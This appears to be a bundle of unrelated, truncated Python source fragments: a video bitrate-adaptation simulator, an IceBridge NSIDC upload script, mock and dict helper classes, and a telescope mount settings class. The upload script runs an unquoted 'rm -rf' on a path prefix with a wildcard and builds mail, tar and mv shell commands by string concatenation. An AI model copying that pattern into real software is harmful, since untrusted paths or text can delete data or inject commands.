if self.is_bola and level < self.low_threshold:
self.is_bola = False
elif not self.is_bola and level > self.high_threshold:
self.is_bola = True
if self.is_bola:
return self.bola.get_quality_delay(segment_index)
else:
return self.tput.get_quality_delay(segment_index)
def get_first_quality(self):
if self.is_bola:
return self.bola.get_first_quality()
else:
return self.tput.get_first_quality()
def report_delay(self, delay):
self.bola.report_delay(delay)
self.tput.report_delay(delay)
def report_download(self, metrics, is_replacment):
self.bola.report_download(metrics, is_replacment)
self.tput.report_download(metrics, is_replacment)
def check_abandon(self, progress, buffer_level):
if self.is_bola:
return self.bola.check_abandon(progress, buffer_level)
else:
return self.tput.check_abandon(progress, buffer_level)
abr_list['dynamicdash'] = DynamicDash
class Bba(Abr):
def __init__(self, config):
pass
def get_quality_delay(self, segment_index):
raise NotImplementedError
def report_delay(self, delay):
pass
def report_download(self, metrics, is_replacment):
pass
def report_seek(self, where):
pass
abr_list['bba'] = Bba
class NoReplace(FastSwitch):
pass
# TODO: different classes instead of strategy
class Replace(FastSwitch):
def __init__(self, strategy):
self.strategy = strategy
self.replacing = None
# self.replacing is either None or -ve index to buffer_contents
def check_replace(self, quality):
global manifest
global buffer_contents
global buffer_fcc
self.replacing = None
if self.strategy == 0:
skip = math.ceil(1.5 + buffer_fcc / manifest.segment_time)
#print('skip = %d fcc = %d' % (skip, buffer_fcc))
for i in range(skip, len(buffer_contents)):
if buffer_contents[i] < quality:
self.replacing = i - len(buffer_contents)
break
#if self.replacing == None:
# print('no repl: 0/%d' % len(buffer_contents))
#else:
# print('replace: %d/%d' % (self.replacing, len(buffer_contents)))
elif self.strategy == 1:
skip = math.ceil(1.5 + buffer_fcc / manifest.segment_time)
#print('skip = %d fcc = %d' % (skip, buffer_fcc))
for i in range(len(buffer_contents) - 1, skip - 1, -1):
if buffer_contents[i] < quality:
self.replacing = i - len(buffer_contents)
break
#if self.replacing == None:
# print('no repl: 0/%d' % len(buffer_contents))
#else:
# print('replace: %d/%d' % (self.replacing, len(buffer_contents)))
else:
pass
return self.replacing
def check_abandon(self, progress, buffer_level):
global manifest
global buffer_contents
global buffer_fcc
if self.replacing == None:
return None
if buffer_level + manifest.segment_time * self.replacing <= 0:
return -1
return None
if __name__ == '__main__':
parser = argparse.ArgumentParser(description = 'Simulate an ABR session.',
formatter_class = argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('-n', '--network', metavar = 'NETWORK', default = 'network.json',
help = 'Specify the .json file describing the network trace.')
parser.add_argument('-nm', '--network-multiplier', metavar = 'MULTIPLIER',
type = float, default = 1,
help = 'Multiply throughput by MULTIPLIER.')
parser.add_argument('-m', | |
<filename>nsidc_upload/dems/oib_parallel_uploader.py
import os, sys, logging, datetime, multiprocessing, icebridge_common, shutil
import threading, time
import flight_list # Contains AN_FLIGHTS and GR_FLIGHTS
#===============================================================================
# Constants
COMPLETED_DATES_FILE = '/u/smcmich1/icebridge/upload_software/completed_dates.txt'
FAILED_DATES_FILE = '/u/smcmich1/icebridge/upload_software/failed_dates.txt'
SOFTWARE_FOLDER = '/u/smcmich1/icebridge/upload_software/'
SIPS_LOG_FOLDER = os.path.join(SOFTWARE_FOLDER, 'logs')
INITIAL_UNPACK_FOLDER = '/nobackup/smcmich1/icebridge/nsidc_uploads/temp_tar_unpack'
ASP_PATH = '/u/smcmich1/programs/StereoPipeline-2.6.0-2018-02-06-x86_64-Linux/bin/'
EMAIL_ADDRESS = '<EMAIL>'
# Controls access to the two DATES files.
FLIGHT_DATES_RW_LOCK = threading.Lock()
#===============================================================================
# Classes
class Date:
def __init__(self, year, month, day):
self.year = int(year)
self.month = int(month)
self.day = int(day)
def __str__(self):
return ('%04d%02d%02d' % (self.year, self.month, self.day))
def yyyymmdd(self):
return ('%04d%02d%02d' % (self.year, self.month, self.day))
def yyyy_mm_dd(self):
return ('%04d_%02d_%02d' % (self.year, self.month, self.day))
def yyyy_mm(self):
return ('%04d_%02d' % (self.year, self.month))
class Campaign:
def __init__(self, site, year):
self.site = site
self.year = year
def getAllDates(self):
'''Return a list of all the valid dates for this campaign'''
if self.site == 'AN':
input_list = flight_list.AN_FLIGHTS
else:
input_list = flight_list.GR_FLIGHTS
flights = [f for f in input_list if f.startswith(self.year)]
dates = []
for f in flights:
year = f[0:4]
month = f[4:6]
day = f[6:8]
dates.append(Date(year,month,day))
return dates
def __str__(self):
'''Return the string representation'''
return self.site + '_' + self.year
def upload_log_and_cleanup(dem_folder, ortho_folder, dem_summary_folder, ortho_summary_folder,
unpack_prefix, has_dem_summary, has_ortho_summary,
dem_tarball, ortho_tarball, camera_tarball, summary_tarball,
remote_folder, date, logger):
'''Called by the worker thread in UploadManager'''
print 'Ready to upload folder ' + dem_folder
print 'Ready to upload folder ' + ortho_folder
#return # DEBUG!!!!
try:
# Upload the data
logger.info('Beginning data upload for flight ' + str(date))
uploadFolderToNSIDC(dem_folder, 'dem/' +remote_folder, logger)
uploadFolderToNSIDC(ortho_folder, 'ortho/'+remote_folder, logger)
if has_dem_summary:
uploadFolderToNSIDC(dem_summary_folder, 'dem/' +remote_folder, logger)
if has_ortho_summary:
uploadFolderToNSIDC(ortho_summary_folder, 'ortho/'+remote_folder, logger)
logger.info('Data upload finished for flight ' + str(date))
success = has_dem_summary and has_ortho_summary
except Exception as e:
success = False
logger.error('Caught exception for date ' + str(date) +'\n' + str(e))
if success:
# Log the input tarballs we used and whether we had all summary files.
updateLogFile(COMPLETED_DATES_FILE, date, dem_tarball, ortho_tarball,
camera_tarball, summary_tarball,
has_dem_summary, has_ortho_summary)
subject = 'COMPLETED flight date: ' + str(date)
logger.info(subject)
else:
updateLogFile(FAILED_DATES_FILE, date, dem_tarball, ortho_tarball,
camera_tarball, summary_tarball,
has_dem_summary, has_ortho_summary)
subject = 'FAILED to process flight date '+ str(date)
logger.error(subject)
sendEmail(EMAIL_ADDRESS, subject, 'NT')
# Clean up the temporary folders
#raise Exception('DEBUG')
if success:
logger.info('Ready to delete folders: ' + unpack_prefix)
cmd = 'rm -rf ' + unpack_prefix + '*'
logger.info(cmd)
os.system(cmd)
class UploadManager():
'''Class to keep uploading data in the background while the main process starts a new flight.'''
def __init__(self):
self._worker = None
def __del__(self):
self.cleanup()
def cleanup(self):
if self._worker != None:
self._worker.join()
self.worker = None
def uploadFlight(self, dem_folder, ortho_folder, dem_summary_folder, ortho_summary_folder,
unpack_prefix, has_dem_summary, has_ortho_summary,
dem_tarball, ortho_tarball, camera_tarball, summary_tarball,
remote_folder, date, logger):
'''Upload the flight in a separate thread. If another flight is still being uploaded,
blocks until that upload is finished.'''
# Block here until we are not busy with another upload.
if self._worker != None:
self._worker.join()
# Set up a working thread with the information
self._worker = threading.Thread(target=upload_log_and_cleanup,
args=(dem_folder, ortho_folder, dem_summary_folder,
ortho_summary_folder, unpack_prefix,
has_dem_summary, has_ortho_summary,
dem_tarball, ortho_tarball,
camera_tarball, summary_tarball,
remote_folder, date, logger))
# Let the worker thread run on its own
self._worker.start()
return
#===============================================================================
# Functions
def sendEmail(address, subject, body):
'''Send a simple email from the command line'''
# Remove any quotes, as that confuses the command line.
subject = subject.replace("\"", "")
body = body.replace("\"", "")
try:
cmd = 'mail -s "' + subject + '" ' + address + ' <<< "' + body + '"'
os.system(cmd)
except Exception as e:
print("Could not send mail.")
def getLatestTarFileMatchingDate(dirs, date):
'''Find the most recent tar file containing a date in the given folders'''
date_string = str(date)
candidates = []
for d in dirs:
# Get all matching tar files (possibly multiple versions)
tars = os.listdir(d)
new_candidates = [f for f in tars if ('.tar' in f) and (date_string in f)]
candidates = candidates + [os.path.join(d, f) for f in new_candidates]
# Ignore files manually marked not to use!
candidates = [c for c in candidates if 'old' not in c]
if not candidates:
raise Exception('No tarballs found for date ' + str(date))
# The last file alphabetically is the latest one
return sorted(candidates)[-1]
# Functions to find needed tarballs.
def findDemTarball(campaign, date):
dirs = ['/u/smcmich1/icebridge/output', '/u/smcmich1/icebridge/oleg_dems']
return getLatestTarFileMatchingDate(dirs, date)
def findOrthoTarball(campaign, date):
dirs = ['/u/smcmich1/icebridge/ortho', '/u/smcmich1/icebridge/oleg_ortho']
return getLatestTarFileMatchingDate(dirs, date)
def findCameraTarball(campaign, date):
dirs = ['/u/smcmich1/icebridge/camera', '/u/smcmich1/icebridge/oleg_cameras']
return getLatestTarFileMatchingDate(dirs, date)
def findSummaryTarball(campaign, date):
dirs = ['/u/smcmich1/icebridge/summaries', '/u/smcmich1/icebridge/oleg_summaries']
return getLatestTarFileMatchingDate(dirs, date)
def fetchTarballsFromTapes(campaign, date_list, logger):
'''Request that all of the tarballs we will need for this run be loaded from tape.'''
logger.info('Locating all the tarballs needed for ' + str(len(date_list)) + ' dates.')
# Find all the tarballs we will need
needed_files = []
for date in date_list:
try:
dem_tarball = findDemTarball (campaign, date)
ortho_tarball = findOrthoTarball (campaign, date)
camera_tarball = findCameraTarball (campaign, date)
summary_tarball = findSummaryTarball(campaign, date)
needed_files.append(dem_tarball)
needed_files.append(ortho_tarball)
needed_files.append(camera_tarball)
needed_files.append(summary_tarball)
except:
logger.error('Error finding all tarballs for date: ' + str(date))
logger.info('Requesting that these dates be loaded from tape!')
# Build a command to fetch them all at once.
cmd = 'dmget '
for f in needed_files:
cmd += f + ' '
cmd += '&' # Run this command in the background so we can start processing as soon as files are ready.
logger.info(cmd)
os.system(cmd)
def unpackTarAndGetFileList(tarPath, storage_folder, flight_title, logger, isSummary=False):
'''Extract the tif files from a tarball into a specified folder.'''
logger.info('Unpacking tar file: ' + tarPath)
if os.path.exists(storage_folder):
logger.info('Storage folder already exists, skipping unpack.')
else:
# Each flight uses a different temp unpack location
this_unpack_folder = os.path.join(INITIAL_UNPACK_FOLDER, flight_title)
os.system('mkdir -p ' + this_unpack_folder)
cmd = 'tar -xf ' + tarPath + ' --directory ' + this_unpack_folder
print cmd
logger.info(cmd)
# os.system(cmd)
logger.info('Finished tar unpack command, looking for output...')
possible_directories = ['tarAssembly', 'processed', 'camera', 'summary', flight_title]
file_dir = []
top_folder = os.path.join(this_unpack_folder, flight_title)
for d in possible_directories:
test_dir = os.path.join(top_folder, d)
print(test_dir)
if os.path.exists(test_dir):
file_dir = test_dir
break
test_dir = os.path.join(this_unpack_folder, d)
print(test_dir)
if os.path.exists(test_dir):
file_dir = test_dir
break
if not file_dir:
raise Exception('ERROR: Did not find unpack folders for storage folder ' + storage_folder)
logger.info('Found data in: ' + file_dir + ', moving to ' + storage_folder)
# Move all the data files into a new directory
cmd = 'mv ' + file_dir +' '+ storage_folder
print cmd
logger.info(cmd)
os.system(cmd)
# Delete the unpack folder.
cmd = 'rm -rf ' + this_unpack_folder
print cmd
logger.info(cmd)
os.system(cmd)
logger.info('Retrieving the file list...')
# Get all the .tif files in the folder
# - Also need to handle cases where files are in a subfolder.
# In those cases we record the subfolder path and will get the file later.
all_file_list = os.listdir(storage_folder)
file_list = []
bad_file_list = []
needed_file_types = ['.tif', '.tsai', '.jpg', '.jpeg']
for f in all_file_list:
full_path = os.path.join(storage_folder, f)
ext = os.path.splitext(f)[1]
if (ext in needed_file_types) or (os.path.isdir(full_path) and len(f) > 3):
# Empty image files are a problem, but empty camera files
# are ok since we only use them for the file names.
if (os.path.getsize(full_path) == 0) and (ext != '.tsai'):
if isSummary: # We will just regenerate these later
print 'Deleting empty summary file: ' + f
os.remove(full_path)
else:
bad_file_list.append(full_path)
print('After unpack, got empty file: ' + f)
else: # A good file!
file_list.append(full_path)
num_bad_files = len(bad_file_list)
logger.info('Num bad files = ' + str(num_bad_files))
if num_bad_files > 0:
raise Exception('Quitting because of missing files after unpacking ' + tarPath)
return file_list
def add_timestamps_to_files(input_files, camera_files, postfix, browse):
'''Update the input file names to include timestamps'''
if not input_files:
return
# Associate each camera file with its frame number
camera_frames = {}
for c in camera_files:
parts = os.path.basename(c)[0:-5].split('_')
frame = int(parts[3])
camera_frames[frame] = parts
# Rename each of the DEM files to this format:
# IODEM3_20091016_17534868_02172_DEM.tif
# Ortho files start with IODIM3.
prefix = 'IODEM3_'
if postfix == 'ORTHO':
prefix = 'IODIM3_'
input_dir = os.path.dirname(input_files[0])
missing_files = False
for in_file in input_files:
fname = os.path.basename(in_file)
if prefix in fname: # Skip already converted files
continue
parts = os.path.splitext(fname)[0].split('_')
if len(parts) > 1:
frame = int(parts[1])
else: # Handle old files with just the frame | |
= name
# if mod_name is not None:
# OuterMocker.__module__ = kwargs['module']
str_func = attributes.pop('__str__', None)
repr_func = attributes.pop('__repr__', None)
if str_func is not None: c.__str__ = str_func
if repr_func is not None: c.__repr__ = repr_func
return c(modules=modules, attributes=attributes, **kwargs) if instance else c
def add_mock_module(self, name: str, value=None, mock_attrs: dict = None, mock_modules: dict = None):
"""
Add a fake sub-module to this Mocker instance.
Example::
>>> m = Mocker()
>>> m.add_mock_module('my_module')
>>> m.my_module.example = 'hello'
>>> print(m.my_module['example'], m.my_module.example)
hello hello
:param str name: The name of the module to add.
:param value: Set the "module" to this object, instead of an instance of :class:`.Mocker`
:param dict mock_attrs: If ``value`` is ``None``, then this can optionally contain a dictionary of
attributes/items to pre-set on the Mocker instance.
:param dict mock_modules: If ``value`` is ``None``, then this can optionally contain a dictionary of
"modules" to pre-set on the Mocker instance.
"""
mock_attrs = {} if mock_attrs is None else mock_attrs
mock_modules = {} if mock_modules is None else mock_modules
self.mock_modules[name] = Mocker(modules=mock_modules, attributes=mock_attrs) if value is None else value
def add_mock_modules(self, *module_list, _dict_to_attrs=True, _parse_dict=True, **module_map):
"""
>>> hello = Mocker.make_mock_class('Hello')
>>> hello.add_mock_modules(
... world={
... 'lorem': 'ipsum',
... 'dolor': 123,
... }
... )
:param module_list:
:param _parse_dict:
:param _dict_to_attrs:
:param module_map:
:return:
"""
module_map = dict(module_map)
for m in module_list:
log.debug("Adding simple mock module from module_list: %s", m)
self.add_mock_module(m)
for k, v in module_map.items():
m_val, m_attrs, m_modules = v, {}, {}
if isinstance(v, dict):
if _parse_dict:
_m_val = None
if 'value' in v: _m_val = v['value']
if 'attrs' in v:
log.debug("Popping 'attrs' from kwarg '%s' value as attributes for module: %s", k, v)
m_attrs = {**m_attrs, **v.pop('attrs')}
if 'modules' in v:
log.debug("Popping 'modules' from kwarg '%s' value as attributes for module: %s", k, v)
m_modules = {**m_modules, **v.pop('modules')}
if not _dict_to_attrs or not all([_m_val is None, m_attrs is None, m_modules is None]):
log.debug("Setting module value to value of kwarg '%s': %s", k, v)
m_val = _m_val if m_attrs is None and m_modules is None else None
if _dict_to_attrs:
log.debug("Importing kwarg '%s' value as attributes for module: %s", k, v)
m_attrs = {**m_attrs, **v}
self.add_mock_module(k, m_val, mock_attrs=m_attrs, mock_modules=m_modules)
@classmethod
def _duplicate_cls(cls, name=None, qualname=None, module=None, **kwargs) -> Type["Mocker"]:
return _create_mocker_copy(name=name, qualname=qualname, module=module, **kwargs)
def _duplicate_ins(self, name=None, qualname=None, module=None, **kwargs) -> "Mocker":
mkr = _create_mocker_copy(name=name, qualname=qualname, module=module, **kwargs)
return mkr(modules=self.mock_modules, attributes=self.mock_attrs)
def __getattr__(self, item):
try:
return object.__getattribute__(self, item)
except AttributeError:
pass
try:
if item in object.__getattribute__(self, 'mock_modules'):
return self.mock_modules[item]
except AttributeError:
pass
try:
if item in object.__getattribute__(self, 'mock_attrs'):
return self.mock_attrs[item]
except AttributeError:
pass
return lambda *args, **kwargs: None
def __setattr__(self, key, value):
if key in ['mock_attrs', 'mock_modules']:
return object.__setattr__(self, key, value)
m = object.__getattribute__(self, 'mock_attrs')
m[key] = value
def __getitem__(self, item):
try:
return self.__getattr__(item)
except AttributeError as ex:
raise KeyError(str(ex))
def __setitem__(self, key, value):
try:
self.__setattr__(key, value)
except AttributeError as ex:
raise KeyError(str(ex))
@property
def __name__(self):
return self.__class__.__name__
def __dir__(self) -> Iterable[str]:
base_attrs = list(object.__dir__(self))
extra_attrs = list(self.mock_attrs.keys()) + list(self.mock_modules.keys())
return base_attrs + extra_attrs
def _module_dir():
import collections
col_dir = dirname(abspath(collections.__file__))
return dirname(col_dir)
dataclasses_mock = Mocker.make_mock_module(
'dataclasses',
attributes=dict(
dataclass=_mock_decorator,
asdict=lambda obj, dict_factory=dict: dict_factory(obj),
astuple=lambda obj, tuple_factory=tuple: tuple_factory(obj),
is_dataclass=lambda obj: False,
field=lambda *args, **kwargs: kwargs.get('default', kwargs.get('default_factory', lambda: None)()),
), built_in=True
)
"""
This is a :class:`.Mocker` instance which somewhat emulates the Python 3.7+ :mod:`dataclasses` module,
including the :func:`dataclasses.dataclass` decorator.
"""
try:
# noinspection PyCompatibility
import dataclasses
# noinspection PyCompatibility
from dataclasses import dataclass, field
except (ImportError, ImportWarning, AttributeError, KeyError) as e:
warnings.warn(
f"Failed to import dataclasses (added in Python 3.7). Setting placeholders for typing. "
f"If you're running Python older than 3.7 and want to use the dataclass features in privex-helpers, "
f"please update to Python 3.7+, or run 'pip3 install -U dataclasses' to install the backported dataclass emulation "
f"library for older Python versions.", category=ImportWarning
)
# To avoid a severe syntax error caused by the missing dataclass types, we generate a dummy dataclasses module, along with a
# dummy dataclass and field class so that type annotations such as Type[dataclass] don't cause the module to throw a syntax error.
# noinspection PyTypeHints
dataclasses = dataclasses_mock
# noinspection PyTypeHints
dataclass = dataclasses.dataclass
field = dataclasses.field
class DictObject(dict):
"""
A very simple :class:`dict` wrapper, which allows you to read and write dictionary keys using attributes
(dot notation) PLUS standard item (key / square bracket notation) access.
**Example Usage (creating and using a new DictObject)**::
>>> d = DictObject(hello='world')
>>> d
{'hello': 'world'}
>>> d['hello']
'world'
>>> d.hello
'world'
>>> d.lorem = 'ipsum'
>>> d['orange'] = 'banana'
>>> d
{'hello': 'world', 'lorem': 'ipsum', 'orange': 'banana'}
**Example Usage (converting an existing dict)**::
>>> y = {"hello": "world", "example": 123}
>>> x = DictObject(y)
>>> x.example
123
>>> x['hello']
'world'
>>> x.hello = 'replaced'
>>> x
{'hello': 'replaced', 'example': 123}
"""
def __getattr__(self, item):
"""When an attribute is requested, e.g. ``x.something``, forward it to ``dict['something']``"""
if hasattr(super(), item):
return super().__getattribute__(item)
try:
return super().__getitem__(item)
except KeyError as ex:
raise AttributeError(str(ex))
def __setattr__(self, key, value):
"""When an attribute is set, e.g. ``x.something = 'abcd'``, forward it to ``dict['something'] = 'abcd'``"""
if hasattr(super(), key):
return super().__setattr__(key, value)
try:
return super().__setitem__(key, value)
except KeyError as ex:
raise AttributeError(str(ex))
def __dir__(self) -> Iterable[str]:
return list(dict.__dir__(self)) + list(self.keys())
class OrderedDictObject(OrderedDict):
"""
Ordered version of :class:`.DictObject` - dictionary with attribute access.
See :class:`.DictObject`
"""
def __getattr__(self, item):
"""When an attribute is requested, e.g. ``x.something``, forward it to ``dict['something']``"""
if hasattr(super(), item):
return super().__getattribute__(item)
try:
return super().__getitem__(item)
except KeyError as ex:
raise AttributeError(str(ex))
def __setattr__(self, key, value):
"""When an attribute is set, e.g. ``x.something = 'abcd'``, forward it to ``dict['something'] = 'abcd'``"""
if hasattr(super(), key):
return super().__setattr__(key, value)
try:
return super().__setitem__(key, value)
except KeyError as ex:
raise AttributeError(str(ex))
def __dir__(self) -> Iterable[str]:
return list(OrderedDict.__dir__(self)) + list(self.keys())
class MockDictObj(DictObject):
"""
This is a masqueraded :class:`.DictObject` made to look like the builtin :class:`dict` by
editing the class name, qualname and module.
It may improve compatibility when passing :class:`.DictObject` to certain third-party
functions/methods.
Note: this isn't enough to fool a ``type(x) is dict`` check.
"""
MockDictObj.__name__ = 'dict'
MockDictObj.__qualname__ = 'dict'
MockDictObj.__module__ = 'builtins'
def is_namedtuple(*objs) -> bool:
"""
Takes one or more objects as positional arguments, and returns ``True`` if ALL passed objects
are namedtuple instances
**Example usage**
First, create or obtain one or more NamedTuple objects::
>>> from collections import namedtuple
>>> Point, Person = namedtuple('Point', 'x y'), namedtuple('Person', 'first_name last_name')
>>> pt1, pt2 = Point(1.0, 5.0), Point(2.5, 1.5)
>>> john = Person('John', 'Doe')
We'll also create a ``tuple``, ``dict``, and ``str`` to show they're detected as invalid::
>>> normal_tuple, tst_dict, tst_str = (1, 2, 3,), dict(hello='world'), "hello world"
First we'll call :func:`.is_namedtuple` with our Person NamedTuple object ``john``::
>>> is_namedtuple(john)
True
As expected, the function shows ``john`` is in-fact a named tuple.
Now let's try it with our two Point named tuple's ``pt1`` and ``pt2``, plus our Person named tuple ``john``.
>>> is_namedtuple(pt1, john, pt2)
True
Since all three arguments were named tuples (even though pt1/pt2 and john are different types), the function
returns ``True``.
Now we'll test with a few objects that clearly aren't named tuple's::
>>> is_namedtuple(tst_str) # Strings aren't named tuples.
False
>>> is_namedtuple(normal_tuple) # A plain bracket tuple is not a named tuple.
False
>>> is_namedtuple(john, tst_dict) # ``john`` is a named tuple, but a dict isn't, thus False is returned.
False
Original source: https://stackoverflow.com/a/2166841
:param Any objs: The objects (as positional args) to check whether they are a NamedTuple
:return bool is_namedtuple: ``True`` if all passed ``objs`` are named tuples.
"""
if len(objs) == 0: raise AttributeError("is_namedtuple expects at least one argument")
for x in objs:
t = type(x)
b = t.__bases__
if tuple not in b: return False
f = getattr(t, '_fields', None)
if not isinstance(f, tuple): return False
| |
<gh_stars>10-100
############################################################
# -*- coding: utf-8 -*-
#
# # # # # # #
# ## ## # ## # #
# # # # # # # # # # #
# # ## # ## ## ######
# # # # # # #
#
# Python-based Tool for interaction with the 10micron mounts
# GUI with PyQT5 for python
#
# written in python3, (c) 2019-2021 by mworion
# Licence APL2.0
#
###########################################################
# standard libraries
import logging
# external packages
# local imports
from mountcontrol.connection import Connection
from mountcontrol.convert import valueToFloat
from mountcontrol.convert import valueToInt
class Setting(object):
"""
The class Setting inherits all information and handling of setting
attributes of the connected mount and provides the abstracted interface
to a 10 micron mount.
>>> setting = Setting(host='')
"""
__all__ = ['Setting',
]
log = logging.getLogger(__name__)
def __init__(self,
host=None,
):
self.host = host
self._slewRate = None
self._slewRateMin = None
self._slewRateMax = None
self._timeToFlip = None
self._meridianLimitTrack = None
self._meridianLimitSlew = None
self._refractionTemp = None
self._refractionPress = None
self._telescopeTempDEC = None
self._statusRefraction = None
self._statusUnattendedFlip = None
self._statusDualAxisTracking = None
self._horizonLimitHigh = None
self._horizonLimitLow = None
self._wakeOnLan = None
self._UTCValid = None
self._UTCExpire = None
self._gpsSynced = None
self._typeConnection = None
self._addressLanMAC = None
self._addressWirelessMAC = None
self._weatherStatus = None
self._weatherPressure = None
self._weatherTemperature = None
self._weatherHumidity = None
self._weatherDewPoint = None
self._trackingRate = None
self._webInterfaceStat = None
@property
def slewRate(self):
return self._slewRate
@slewRate.setter
def slewRate(self, value):
self._slewRate = valueToFloat(value)
@property
def slewRateMin(self):
return self._slewRateMin
@slewRateMin.setter
def slewRateMin(self, value):
self._slewRateMin = valueToFloat(value)
@property
def slewRateMax(self):
return self._slewRateMax
@slewRateMax.setter
def slewRateMax(self, value):
self._slewRateMax = valueToFloat(value)
@property
def timeToFlip(self):
return self._timeToFlip
@timeToFlip.setter
def timeToFlip(self, value):
self._timeToFlip = valueToFloat(value)
@property
def meridianLimitTrack(self):
return self._meridianLimitTrack
@meridianLimitTrack.setter
def meridianLimitTrack(self, value):
self._meridianLimitTrack = valueToFloat(value)
@property
def meridianLimitSlew(self):
return self._meridianLimitSlew
@meridianLimitSlew.setter
def meridianLimitSlew(self, value):
self._meridianLimitSlew = valueToFloat(value)
def timeToMeridian(self):
if self._timeToFlip is not None and self._meridianLimitTrack is not None:
return int(self._timeToFlip - self._meridianLimitTrack * 4)
else:
return None
@property
def refractionTemp(self):
return self._refractionTemp
@refractionTemp.setter
def refractionTemp(self, value):
self._refractionTemp = valueToFloat(value)
@property
def refractionPress(self):
return self._refractionPress
@refractionPress.setter
def refractionPress(self, value):
self._refractionPress = valueToFloat(value)
@property
def telescopeTempDEC(self):
return self._telescopeTempDEC
@telescopeTempDEC.setter
def telescopeTempDEC(self, value):
self._telescopeTempDEC = valueToFloat(value)
@property
def statusRefraction(self):
return self._statusRefraction
@statusRefraction.setter
def statusRefraction(self, value):
self._statusRefraction = bool(value)
@property
def statusUnattendedFlip(self):
return self._statusUnattendedFlip
@statusUnattendedFlip.setter
def statusUnattendedFlip(self, value):
self._statusUnattendedFlip = bool(value)
@property
def statusDualAxisTracking(self):
return self._statusDualAxisTracking
@statusDualAxisTracking.setter
def statusDualAxisTracking(self, value):
self._statusDualAxisTracking = bool(value)
@property
def horizonLimitHigh(self):
return self._horizonLimitHigh
@horizonLimitHigh.setter
def horizonLimitHigh(self, value):
self._horizonLimitHigh = valueToFloat(value)
@property
def horizonLimitLow(self):
return self._horizonLimitLow
@horizonLimitLow.setter
def horizonLimitLow(self, value):
self._horizonLimitLow = valueToFloat(value)
@property
def UTCValid(self):
return self._UTCValid
@UTCValid.setter
def UTCValid(self, value):
self._UTCValid = bool(value)
@property
def UTCExpire(self):
return self._UTCExpire
@UTCExpire.setter
def UTCExpire(self, value):
if isinstance(value, str):
self._UTCExpire = value
else:
self._UTCExpire = None
@property
def typeConnection(self):
return self._typeConnection
@typeConnection.setter
def typeConnection(self, value):
value = valueToInt(value)
if value is None:
self._typeConnection = value
elif not 0 <= value <= 3:
value = None
self._typeConnection = value
@property
def gpsSynced(self):
return self._gpsSynced
@gpsSynced.setter
def gpsSynced(self, value):
self._gpsSynced = bool(value)
@property
def addressLanMAC(self):
return self._addressLanMAC
@addressLanMAC.setter
def addressLanMAC(self, value):
self._addressLanMAC = value.upper().replace('.', ':')
@property
def addressWirelessMAC(self):
return self._addressWirelessMAC
@addressWirelessMAC.setter
def addressWirelessMAC(self, value):
self._addressWirelessMAC = value.upper().replace('.', ':')
@property
def wakeOnLan(self):
return self._wakeOnLan
@wakeOnLan.setter
def wakeOnLan(self, value):
if value == 'N':
self._wakeOnLan = 'None'
elif value == '0':
self._wakeOnLan = 'OFF'
elif value == '1':
self._wakeOnLan = 'ON'
else:
self._wakeOnLan = None
@property
def weatherStatus(self):
return self._weatherStatus
@weatherStatus.setter
def weatherStatus(self, value):
value = valueToInt(value)
if value is None:
self._weatherStatus = value
elif 0 <= value <= 2:
self._weatherStatus = value
else:
self._weatherStatus = None
@property
def weatherPressure(self):
return self._weatherPressure
@weatherPressure.setter
def weatherPressure(self, value):
self._weatherPressure = valueToFloat(value)
@property
def weatherTemperature(self):
return self._weatherTemperature
@weatherTemperature.setter
def weatherTemperature(self, value):
self._weatherTemperature = valueToFloat(value)
@property
def weatherHumidity(self):
return self._weatherHumidity
@weatherHumidity.setter
def weatherHumidity(self, value):
self._weatherHumidity = valueToFloat(value)
@property
def weatherDewPoint(self):
return self._weatherDewPoint
@weatherDewPoint.setter
def weatherDewPoint(self, value):
self._weatherDewPoint = valueToFloat(value)
@property
def trackingRate(self):
return self._trackingRate
@trackingRate.setter
def trackingRate(self, value):
self._trackingRate = valueToFloat(value)
@property
def webInterfaceStat(self):
return self._webInterfaceStat
@webInterfaceStat.setter
def webInterfaceStat(self, value):
value = valueToFloat(value)
if value is None:
self._webInterfaceStat = None
else:
self._webInterfaceStat = bool(value)
def parseSetting(self, response, numberOfChunks):
"""
Parsing the polling med command.
:param response: data load from mount
:param numberOfChunks:
:return: success: True if ok, False if not
"""
if len(response) != numberOfChunks:
self.log.warning('wrong number of chunks')
return False
self.slewRate = response[0]
self.slewRateMin = response[1]
self.slewRateMax = response[2]
self.timeToFlip = response[3]
self.meridianLimitTrack = response[4]
self.meridianLimitSlew = response[5]
self.refractionTemp = response[6]
self.refractionPress = response[7]
self.telescopeTempDEC = response[8]
self.statusRefraction = (response[9][0] == '1')
self.statusUnattendedFlip = (response[9][1] == '1')
self.statusDualAxisTracking = (response[9][2] == '1')
self.horizonLimitHigh = response[9][3:6]
self.horizonLimitLow = response[10][0:3]
valid, expirationDate = response[11].split(',')
self.UTCValid = (valid == 'V')
self.UTCExpire = expirationDate
self.typeConnection = response[12]
self.gpsSynced = (response[13] == '1')
self.addressLanMAC = response[14]
self.wakeOnLan = response[15]
self.weatherStatus = response[16]
self.weatherPressure = response[17].split(',')[0]
self.weatherTemperature = response[18].split(',')[0]
self.weatherHumidity = response[19].split(',')[0]
self.weatherDewPoint = response[20].split(',')[0]
self.trackingRate = response[21]
self.webInterfaceStat = response[22]
return True
def pollSetting(self):
"""
Sending the polling med command. As the mount need polling the data, I
send a set of commands to get the data back to be able to process and
store it.
:return: success: True if ok, False if not
"""
conn = Connection(self.host)
cs1 = ':U2#:GMs#:GMsa#:GMsb#:Gmte#:Glmt#:Glms#:GRTMP#:GRPRS#:GTMP1#'
cs2 = ':GREF#:Guaf#:Gdat#:Gh#:Go#:GDUTV#:GINQ#:gtg#:GMAC#:GWOL#'
cs3 = ':WSG#:WSP#:WST#:WSH#:WSD#:GT#:NTGweb#'
commandString = cs1 + cs2 + cs3
suc, response, numberOfChunks = conn.communicate(commandString)
if not suc:
return False
suc = self.parseSetting(response, numberOfChunks)
return suc
def setSlewRate(self, value):
"""
setSlewRate sends the command for setting the max slew rate to the mount.
:param value: float for max slew rate in degrees per second
:return: success
"""
if value is None:
return False
if not isinstance(value, (int, float)):
return False
if value < 2:
return False
elif value > 15:
return False
conn = Connection(self.host)
commandString = f':Sw{value:02.0f}#:RMs{value:02.0f}#'
suc, response, numberOfChunks = conn.communicate(commandString)
if not suc:
return False
if response[0] != '1':
return False
return True
def setSlewSpeedMax(self):
"""
setSlewSpeedMax set the slewing speed to max
:return: success
"""
conn = Connection(self.host)
commandString = ':RS#'
suc, response, numberOfChunks = conn.communicate(commandString)
return suc
def setSlewSpeedHigh(self):
"""
setSlewSpeedHigh set the slewing speed to centering rate. the different
speeds are set through setting different centering rates, because setting
